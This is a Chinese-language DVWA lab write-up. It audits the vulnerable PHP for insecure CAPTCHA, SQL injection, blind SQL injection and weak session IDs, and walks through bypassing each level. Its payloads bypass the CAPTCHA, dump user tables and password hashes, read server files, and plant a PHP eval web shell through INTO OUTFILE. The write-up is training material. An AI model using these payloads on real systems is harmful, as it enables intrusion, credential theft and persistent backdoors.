DVWA
不安全的验证码(Insecure CAPTCHA)
Low
首先还是分析代码。代码有点长,之前没分析过,所以花的时间稍微长了一点。
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这段代码乍看没有任何问题,改密码的过程分成两个部分,step=1时检查用户输入的验证码,step=2时服务器更改密码。首先尝试一下直接修改,发现报出WARNING,
那么直接改不成功说明服务器那边出现故障了,也就是第二部出现了问题,那么重新进行代码审计,发现它只对step和change参数做了验证,也就是说,可以利用第一步成功来直接跳转到第二步,改参数还得是burp来抓包,
抓包将step改成2,绕过验证码。
Medium
medium级别的代码相较于low级别增加了一个参数的检查。那就是在第二部会检查passed_captcha。本质上来说没有什么不同,逻辑漏洞依然存在,依然可以通过抓包修改参数和添加参数来绕过检查。
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
抓包修改step并且添加参数passed_captcha。
修改密码成功。
High
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对high等级的代码进行代码审计发现,和前面low和medium等级的逻辑不同。high等级验证 $ resp || ($_POST[ ‘g-recaptcha-response’ ] ==‘hidd3n_valu3’&& $_SERVER[ ‘HTTP_USER_AGENT’ ] == ‘reCAPTCHA’
)
也就是参数 $resp也就是谷歌返回的对验证码的验证结果是true或者g-recaptcha-response为hidd3n_valu3,以及HTTP头里面的USER_AGENT为reCAPTCHA。因为我是在虚拟机内做的实验,没有翻墙软件,所以抓包也显示不了验证码,所以无法从验证码处下手。只能在后面两个参数这里想想办法了。还是抓包。
修改User-Agent的值,并且添加参数g-recaptcha-response,值为hidd3n_valu3。然后放行该数据包,密码修改成功。
Impossible
把等级调整到impossible之后发现界面都不同,除了有新密码,还需要输入现有密码,还是进行代码审计。分析一下验证逻辑。
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码里面有我们很熟悉的anti-csrf的验证token。而且对输入的三次密码都进行了MD5加密。而且后续验证逻辑仅仅只有谷歌对于验证码的判断参数 $resp,没有其他条件,安全系数增高,我暂时无法破解。
SQL注入(SQL Injection)
Low
SQL注入是指攻击者通过注入恶意的SQL语句来执行恶意的行为,这里需要了解常用的SQL命令,SQL注入的常见思路如下
寻找注入点,可通过web扫描工具实现
通过注入点,尝试获取数据库的相关信息
猜解数据库的表和重要字段与内容
获取用户信息,用于后台登录
利用后台获取的信息,进行攻击,上传shell,或者进一步提权等
手工注入的步骤(非盲注)
判断是否存在注入,注入是字符型还是数字型
猜解SQL查询语句中的字段数
确定显示的字段顺序
获取当前数据库
获取数据库中的表
获取表中的字段名
下载数据
对low等级进行代码审计。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
分析该代码可知服务器没有对参数id进行任何的过滤,可以注入。
尝试注入1,发现可注入,再验证注入的类型。
注入1‘or’2‘=’2,发现返回多条结果,注入语句中最后没有单引号却能返回查询的结果,说明后台组装SQL语句的时候是带单引号的,所以存在字符型注入。下一步猜解字段数。尝试注入1‘or1=1 order by 1#最后一个数字依次增加,order by 1是指按照列1排序,#为注释,指的是后面的内容以注释出现。发现到三的时候爆出错误,不存在第三列,则说明只有两个字段,即first name和surname。
接下来确定两个字段的显示顺序。其实从前面的截图可以看出顺序,但是如果是多个字段,可能显示的并不能判断。尝试注入语句1’ union select 1,2#,union查询是将两条及以上SQL查询语句去掉重复后组合成一个新的结果集,select后面如果是数字则表示查询数字,如果是字母则是按照列名进行检索。
接下来获取当前的数据库。注入命令1’ union select 1,database()#,获取数据库的名称。
select语句还可以利用一些函数,查看一些重要信息,如1’ union select user(),database()#可以查看用户信息。
接下来是获取数据库中的表,注入命令为1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,得到表的信息。有两个表,guestbook和users,然后获取users表的字段名,命令为1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’#,一共有八个字段名,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
得到表以及字段的信息之后进行最后的数据下载,注入1’ union select group_concat(user),group_concat(password) from users#获取用户名和密码,密码值为MD5加密的值,通过解密之后可以得到密码分别password,abc123,charley,letmein,password。
以上常规步骤已经完成,接下来尝试进行更深层次的注入攻击,尝试获取root用户,注入命令为1’ union select 1, group_concat(user) from mysql.user#。
接下里我们读文件以及写文件获取shell,注入命令1‘ union select ‘yy’,2 into outfile ‘yy’ #,进行试错,获取绝对路径。或者前面的实验过程中已经获取了了绝对路径可以跳过该步骤。
得到绝对路径后,注入1’ union select 1,load_file(‘C:/phpstudy_pro/WWW/DVWA-master/php.ini’) #获取文件信息。
之后写shell,注入1’ union select 1,’<?php @eval($_POST["fx"]);?>’ into outfile ‘C:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/fx.php’#
虽然报出WARNING,但是服务器根目录下已经产生了fx.php文件。
接下来使用蚁剑连接即可,密码是fx。
连接之后就可以查看服务器根目录下的所有文件了。
Medium
首先还是进行代码审计。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
分析代码可知,该级别利用mysql_real_escape_string函数对特殊符号进行了过滤,并且设置可选菜单控制用户是输入,但是可以抓包修改参数。
修改id的值进行注入。
注意一点,当单引号等特殊字符被转义的时候,可以采用16进制进行绕过。
High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high级别的代码增加了limit 1,限制只产生一个输出,并且注入页面与返回页面是在不同的页面上。防止了sqlmap注入。
虽然限制只输入一行,但是可以通过#来注释掉。
Impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible的代码增加anti CSRF token检测,而且代码采用了PDO技术,划清了代码与数据的界限,PDO是PHP Data Object提供给PHP操作多种数据库统一的接口,可通过quote()方法过滤特殊字符以及bindparameter()方法绑定参数防止SQL注入。
SQL盲注(SQL Injection(Blind))
Low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
布尔盲注
根据源码可知虽然服务器并没有对注入进行审查,但是返回结果显示只有两个User ID exists in the database,User ID is MISSING from the database。
因为无法获取详细的信息,只有是与否,所以我们设计的问题一定要能够得到我们想要的信息。刚才输入1,反馈存在,现在输入1’,结果不存在,那么应该是字符型盲注。
接下来猜解数据库名,由于问题的答案只能为是或者不是,那么我们设计问题就要考虑针对性,就像你说我猜游戏一样,想问答案几个字,然后和什么相关这一类,我们也是先问数据库名称到底几个字。注入1’ and length(database())=1 #反馈否,说明数据库名称不是一个字,接下来依次递增,到4的时候反馈正确,则说明数据库名称是4个字,接下来因为数据库名称是字符,考虑通过ASCII码值来进行判断。1’ and ascii(substr(databse(),1,1))>97#以及1’ and ascii(substr(databse(),1,1))<122 #返回正确,说明第一个字符是小写字母,然后通过二分查找,最后确定第一个字符的准确ASCII码值,以此类推,确定第二个,第三,第四个字符。最后得到数据库名为dvwa,因为我已知数据库名,所以没有去尝试,真正的去尝试应该也是很繁琐的。
接下来猜解数据库中表的数目已经名称,首先还是注入尝试获取表的数目,1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1#,显示错误,说明不是一个表,1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2# 返回正确说明有两个表。接下来猜解第一个表的名称,还是和猜解数据库名称一样,先猜解名称字符数,然后使用二分来确定最后的真实字符串。 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #这是猜解字符数目的命令,1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #这是二分查找的命令。猜解出表名分别为guestbook和users。
后续猜解字段名和数据也是通过该方法。
时间盲注
时间盲注的原理是通过sleep()函数来观看结果有无时间延迟来判断,例如1 and sleep(5)#没有延迟,而1’ and sleep(5)#发现有明显时间延迟,说明是字符型注入。如果想看更明显的时间延迟,可以把sleep()函数里面的数字改的更大一点。
Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
对代码进行分析之后发现相较于手工注入,仅仅是结果显示方面有所不同。做法也是抓包修改id。
High
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
当SQL查询为空时,会使用sleep()函数来扰乱基于时间的盲注。但是我们依然可以使用布尔盲注。
Impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
和手工注入一样,安全等级很高,而且结果显示只有是与非。
弱会话ID(Weak Session IDs)
要了解弱会话ID的漏洞详情,首先需要了解http协议是无状态的,它不会在服务器端保留用户信息,那么用户需要反复登录账号才能保持持续访问。为了解决这个情况,服务器端会产生一个用户会话标志session,然后把sessionID反馈给客户端,这样,客户端只需要把sessionID包含在cookie中就可以访问了,不需要再次登录。这样漏洞就形成了,攻击者可以不需要再去破解用户的密码,而只需要获取sessionID就可以访问服务器,获取信息。这种情况下的攻击一般是建立在获取sessionID比获取用户名和密码更简单的情况下。
Low
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
首先还是进行代码审计。从代码可以看出,sessionID是直接进行累加的,所以很容易猜解与获取。首先点击generate进行抓包分析,多抓几次发现,dvwasession是依次累加的,和代码一样。
那么下一次就是3,我们下保存先PHPSESSID的值,是ifd2arcu8d1e303dbm2bao25kd。然后复制一下网址http://ip地址/DVWA-master/vulnerabilities/weak_id/,在另外一个浏览器中打开。发现需要登录。
抓包,修改参数。
然后放行。发现不需要进行登录就可以访问了。
Medium
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
medium级别的代码很短,但是却不容易破解,因为dvwasession是随时间变化而变化的。这里我们可以通过时间戳工具将未来的某个时间转化,然后抓包修改,在那个时间点提交就可以了。
High
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
high等级的代码和low等级很相似,都是依次累加的,但是不同的是,这里使用了MD5加密,那我们可以使用网上现成的加密工具把dvwasession加密后再把密文注入。
Impossible
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
由代码可知,该cookie的值是由随机数+时间戳+字符串“Impossible”进行sha1运算。sha1加密网上有现成的工具,时间戳也是,字符串已知,但是随机数却不知道,同一个随机数函数每次产生的随机数也不同。难解。